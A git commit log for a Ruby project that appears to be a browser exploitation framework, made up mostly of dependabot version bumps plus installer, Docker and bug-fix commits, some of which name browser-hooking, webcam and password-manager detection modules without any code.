Compare commits

..

710 Commits

Author SHA1 Message Date
jcrew99
15b6bf25a8 Revert "Revert "Add support for the SuSE family in the installer (#2590)" (#2594)"
This reverts commit dc9e41c55a.
2022-10-13 13:31:38 +10:00
dependabot[bot]
50c06a9a29 Bump sqlite3 from 1.5.2 to 1.5.3 (#2598)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.2 to 1.5.3.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.2...v1.5.3)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:27:21 +10:00
dependabot[bot]
d188edf25b Bump sinatra from 2.2.2 to 3.0.2 (#2593)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 2.2.2 to 3.0.2.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.2...v3.0.2)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:56 +10:00
dependabot[bot]
ea86221710 Bump irb from 1.4.1 to 1.4.2 (#2592)
Bumps [irb](https://github.com/ruby/irb) from 1.4.1 to 1.4.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.4.1...v1.4.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:26 +10:00
dependabot[bot]
c302bf78f6 Bump test-unit from 3.5.3 to 3.5.5 (#2591)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.3 to 3.5.5.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.3...3.5.5)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:14 +10:00
dependabot[bot]
b993c55e9a Bump rack-protection from 2.2.2 to 3.0.2 (#2588)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 2.2.2 to 3.0.2.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.2...v3.0.2)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:07:00 +10:00
dependabot[bot]
71a678cf9a Bump selenium-webdriver from 4.4.0 to 4.5.0 (#2584)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.4.0 to 4.5.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.4.0...selenium-4.5.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-13 13:06:31 +10:00
dependabot[bot]
10e984c94b Bump net-smtp from 0.3.1 to 0.3.2 (#2583)
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.3.1 to 0.3.2.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.3.1...v0.3.2)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-07 15:01:59 +10:00
jcrew99
dc9e41c55a Revert "Add support for the SuSE family in the installer (#2590)" (#2594)
This reverts commit 03f70879f2.
2022-10-07 14:57:12 +10:00
Ben
03f70879f2 Add support for the SuSE family in the installer (#2590) 2022-10-07 14:56:29 +10:00
dependabot[bot]
1152715646 Bump espeak-ruby from 1.0.5 to 1.1.0 (#2580)
Bumps [espeak-ruby](https://github.com/dejan/espeak-ruby) from 1.0.5 to 1.1.0.
- [Release notes](https://github.com/dejan/espeak-ruby/releases)
- [Changelog](https://github.com/dejan/espeak-ruby/blob/master/CHANGELOG)
- [Commits](https://github.com/dejan/espeak-ruby/compare/v1.0.5...v1.1.0)

---
updated-dependencies:
- dependency-name: espeak-ruby
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-07 14:55:09 +10:00
dependabot[bot]
8abae7cc85 Bump sqlite3 from 1.5.0 to 1.5.2 (#2589)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.0 to 1.5.2.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.0...v1.5.2)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-10-05 13:11:37 +10:00
dependabot[bot]
6041cbf595 Bump websocket-client-simple from 0.5.1 to 0.6.0 (#2573)
Bumps [websocket-client-simple](https://github.com/ruby-jp/websocket-client-simple) from 0.5.1 to 0.6.0.
- [Release notes](https://github.com/ruby-jp/websocket-client-simple/releases)
- [Changelog](https://github.com/ruby-jp/websocket-client-simple/blob/master/History.txt)
- [Commits](https://github.com/ruby-jp/websocket-client-simple/compare/v0.5.1...v0.6.0)

---
updated-dependencies:
- dependency-name: websocket-client-simple
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-29 10:06:38 +10:00
jcrew99
ed4c9169b3 Update ISSUE_TEMPLATE.md 2022-09-21 22:21:12 +10:00
jcrew99
d8b5331544 Update README.md (#2571)
Added discord link to readme.md
2022-09-19 14:01:01 +10:00
dependabot[bot]
a0b589ecd2 Bump sqlite3 from 1.4.4 to 1.5.0 (#2566)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.4.4 to 1.5.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.4.4...v1.5.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-12 23:42:24 +10:00
dependabot[bot]
6f5f5e7493 Bump rubocop from 1.35.1 to 1.36.0 (#2557)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.35.1 to 1.36.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.35.1...v1.36.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-09-02 15:04:17 +10:00
dependabot[bot]
b3d2ee8016 Bump rubocop from 1.35.0 to 1.35.1 (#2552)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.35.0 to 1.35.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.35.0...v1.35.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-23 14:44:19 +10:00
dependabot[bot]
cbc5ce1601 Bump pry-byebug from 3.10.0 to 3.10.1 (#2548)
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.10.0 to 3.10.1.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.10.0...v3.10.1)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-18 11:52:56 +10:00
dependabot[bot]
8a0e122dc9 Bump pry-byebug from 3.9.0 to 3.10.0 (#2547)
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.9.0 to 3.10.0.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.9.0...v3.10.0)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-17 14:02:49 +10:00
dependabot[bot]
74325078cc Bump rubocop from 1.34.1 to 1.35.0 (#2539)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.34.1 to 1.35.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.34.1...v1.35.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-15 12:30:41 +10:00
dependabot[bot]
111a07c016 Bump rubocop from 1.33.0 to 1.34.1 (#2536)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.33.0 to 1.34.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.33.0...v1.34.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-10 23:43:22 +10:00
dependabot[bot]
c318b31fd7 Bump selenium-webdriver from 4.3.0 to 4.4.0 (#2535)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.3.0 to 4.4.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.3.0...selenium-4.4.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-10 23:36:40 +10:00
dependabot[bot]
72261c4fcd Bump rubocop from 1.32.0 to 1.33.0 (#2528)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.32.0 to 1.33.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.32.0...v1.33.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-08 12:39:19 +10:00
ThumusLive
92e5a50f9b fREADME: Update Ruby website link (#2512) 2022-08-05 10:22:58 +10:00
bcoles
9f99d65e39 WebRTC: Rename Rtc model classes to align with ActiveRecord syntax (#2524) 2022-08-01 17:55:19 +10:00
bcoles
8d98a8e205 Bump Ruby version to 3.0.3 (#2523)
* Bump Ruby version to 3.0.3

* Add net-smtp to Gemfile to support Ruby 3.0 < 3.1

* Update Gemfile.lock
2022-08-01 16:08:26 +10:00
bcoles
77983167db Update dependencies (#2522) 2022-08-01 14:34:31 +10:00
dependabot[bot]
d1df07f13d Bump rack-protection from 2.2.0 to 2.2.1 (#2507)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 2.2.0 to 2.2.1.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/v2.2.1/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.2.0...v2.2.1)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 21:25:22 +10:00
dependabot[bot]
70685c94a4 Bump browserstack-local from 1.3.0 to 1.4.0 (#2509)
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 18:17:44 +10:00
dependabot[bot]
d761611056 Bump rubocop from 1.31.2 to 1.32.0 (#2511)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.31.2 to 1.32.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.31.2...v1.32.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-31 18:16:56 +10:00
MyLoginOnGitHub
87318f5a14 Fixed bug when response_data is empty when http.response_data.length is <= 100K (#2510)
* Fixed bug when response_data is empty when http.response_data.length <= 100K

* Refactor: do not modify field. Modify local variable instead
2022-07-22 10:05:54 +10:00
dependabot[bot]
94063f2f33 Bump activerecord from 7.0.3 to 7.0.3.1 (#2499)
Bumps [activerecord](https://github.com/rails/rails) from 7.0.3 to 7.0.3.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v7.0.3.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.0.3...v7.0.3.1)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-13 23:02:24 +10:00
dependabot[bot]
fc7df4748f Bump rubocop from 1.26.1 to 1.31.2 (#2488)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.26.1 to 1.31.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.26.1...v1.31.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-13 15:19:47 +10:00
Megan Howell
24dd89884b Install: Add support for ArcoLinux and BlackArch (#2487) 2022-07-07 12:00:25 +10:00
iWhacko
e69281e341 Bugfix/module html5 webcam (#2392)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fixed deprecated call to "window.URL.createObjectURL" on newer browsers
- Fixed bug where no image would be shown even if the picture was taken. (image size too large)
- added option to module to choose image size.

* fixed config we default

* fix codeql

Co-authored-by: Whacko <not@gonna.tel>
Co-authored-by: wheatley <wheatand@gmail.com>
2022-07-02 18:28:08 +10:00
wheatley
ddc06f1d7e Update stale.yml 2022-07-02 18:09:31 +10:00
wheatley
8d23c0e482 updated to run debug mode every 5mins 2022-07-02 17:48:31 +10:00
wheatley
28618367ea Add bot to help keep the issue backlog clean. (#2447)
* Create stale.yml

* Updated with exemptions and days

* updated closed days and message

* Update stale.yml
2022-07-02 17:38:29 +10:00
jcrew99
b1382e0be3 removing spelling mistake in configuration_spec (#2483) 2022-06-30 15:59:40 +10:00
Isaac Powell
c1e63d2486 Update issue template (#2473)
* updated issue template

* added loggin info
2022-06-24 15:56:25 +10:00
iWhacko
b56345fcdf Bugfix/browse offline zombies (#2388)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

(cherry picked from commit fed79d7142)

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fixed a small mistake in a comment"

Co-authored-by: Whacko <not@gonna.tel>
2022-06-24 15:39:47 +10:00
Isaac Powell
0221a1c7da 2364 inotes modules defect and error handling (#2374)
* Fix spelling error, add try catch handling

* update error message
2022-06-24 15:22:36 +10:00
jcrew99
de60112928 Update thin gem (#2471)
* Updated Rack version

* Updated rack gem

* Updated to the latest version

* updating sinatra
2022-06-24 00:51:11 +10:00
jcrew99
7a1e500946 Update thin gem (#2470)
* Updated Rack version

* Updated rack gem
2022-06-24 00:30:34 +10:00
Isaac Powell
eea9740f4f Initial hook detection (#2440)
* initial multi-stage with basic switch on useragent

* added legacybrowseruseragents to core

* moved logic to a method and debugging

* array for holding legacy browsers

* added are.js back for parity to legacy hook.js

* removed byebug
2022-06-23 16:00:57 +10:00
slimwang
73a3d17f29 Fixed isDebug not work in beef.js (#2013)
* fixed isDebug not work

* fixed JQMIGRATE print extra message to console

* fix debug mode not work

* testing approval process

* Update github_actions.yml

Co-authored-by: kinovir <kinovir@gmail.com>
Co-authored-by: t3hp0rP <github@pr0ph3t.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2022-06-23 15:49:44 +10:00
Peter Mosmans
f68e420318 feat: optimize Docker image (#2398) 2022-06-09 23:01:49 +10:00
dependabot[bot]
b87463a60d Bump curb from 1.0.0 to 1.0.1 (#2410) 2022-06-09 16:00:45 +10:00
dependabot[bot]
107cdd3f54 Bump capybara from 3.36.0 to 3.37.1 (#2417)
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.36.0 to 3.37.1.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.36.0...3.37.1)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:58:18 +10:00
dependabot[bot]
d9d2c9c64b Bump json from 2.6.1 to 2.6.2 (#2420)
Bumps [json](https://github.com/flori/json) from 2.6.1 to 2.6.2.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.6.1...v2.6.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:58:03 +10:00
dependabot[bot]
b911c8df23 Bump nokogiri from 1.13.3 to 1.13.6 (#2423)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:55:48 +10:00
dependabot[bot]
9bc8d017e6 Bump selenium-webdriver from 4.1.0 to 4.2.1 (#2438)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.1.0 to 4.2.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-06 22:55:34 +10:00
wheatley
a7a4c81468 adding GHAS scanning (#2429) 2022-05-30 09:53:24 +10:00
bcoles
cbe9f66990 Admin UI: Remove 'Submit Bug' link from admin panel (#2403) 2022-05-12 11:09:52 +10:00
Isaac Powell
1c395a3153 1612 update detect lastpass module (#2292)
* updated detection methods for LastPass module

* removed old detection of form tag

* refactor detection, updated module config.yaml

* comment removal

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

True!

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

not necessary to preface the text for this one?

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* Update modules/browser/detect_lastpass/command.js

Co-authored-by: bcoles <bcoles@gmail.com>

* removing redundant code

* implement field creation

* form field creation and sequential execution

* removing test beef.debug

Co-authored-by: bcoles <bcoles@gmail.com>
2022-03-30 13:44:36 +10:00
iWhacko
0636e815db Bugfix/browse offline zombies (#2371)
* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

(cherry picked from commit fed79d7142)

* Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment"

This reverts commit fed79d71

* - Fix for offline browsers. Allowing you to view all executed commands in the past and details.
- fiexed a small mistake in a comment

Co-authored-by: Whacko <not@gonna.tel>
2022-03-30 11:20:09 +10:00
Abd El-Twab M. Fakhry
b46edb4d1a Add Arch based distro 'Artix' for linux installer (#2373)
Thanks @AbdeltwabMF for contributing!
2022-03-25 09:10:47 +10:00
dependabot[bot]
5fdd96f576 Bump rubocop from 1.25.1 to 1.26.0 (#2347)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.25.1 to 1.26.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.25.1...v1.26.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-17 13:33:40 +10:00
bcoles
033dbc1192 AdminUI: Fix admin UI generated combined JavaScript file name (#2358) 2022-03-16 11:35:53 +11:00
bcoles
67892d46a8 Admin UI: Treat URL route mount failures as fatal (#2349) 2022-03-15 14:30:01 +10:00
bcoles
d2f27e6f2e Exit upon database connection errors at startup (#2350) 2022-03-15 14:12:51 +10:00
bcoles
57ab7fda84 Detect OpenNIC DNS (#2341) 2022-03-13 02:11:17 +11:00
bcoles
139359a760 Treat core configuration file load failure as fatal (#2351) 2022-03-13 00:03:38 +10:00
bcoles
38b7ac7c23 Bump Platform.js to version 1.3.6 (#2343) 2022-03-09 19:56:33 +11:00
bcoles
52996d4fc5 Detect Ethereum ENS (#2342) 2022-03-09 15:48:40 +10:00
dependabot[bot]
4dbced4f55 Bump nokogiri from 1.12.5 to 1.13.3 (#2316)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 15:01:43 +10:00
Marc Partensky
c5e17be6db healthcheck (#2314)
@MarcPartensky  thanks, please check out the comment on your other PR. Cheers
2022-03-09 12:02:07 +10:00
dependabot[bot]
1c7a6e9fef Bump selenium-webdriver from 3.142.7 to 4.1.0 (#2260)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 3.142.7 to 4.1.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.1.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-22 22:29:00 +10:00
karlmanait
f104a5daff Update ruby version in Dockerfile (#2305)
* Update ruby version in Dockerfile
2022-02-22 20:15:04 +10:00
dependabot[bot]
216d312ebe Bump sinatra from 2.1.0 to 2.2.0 (#2298)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-22 11:33:02 +10:00
Molese
9b277a0276 Format scripts with shfmt and fix two issues identified by shellcheck (#2303)
* install: format script with `shfmt`

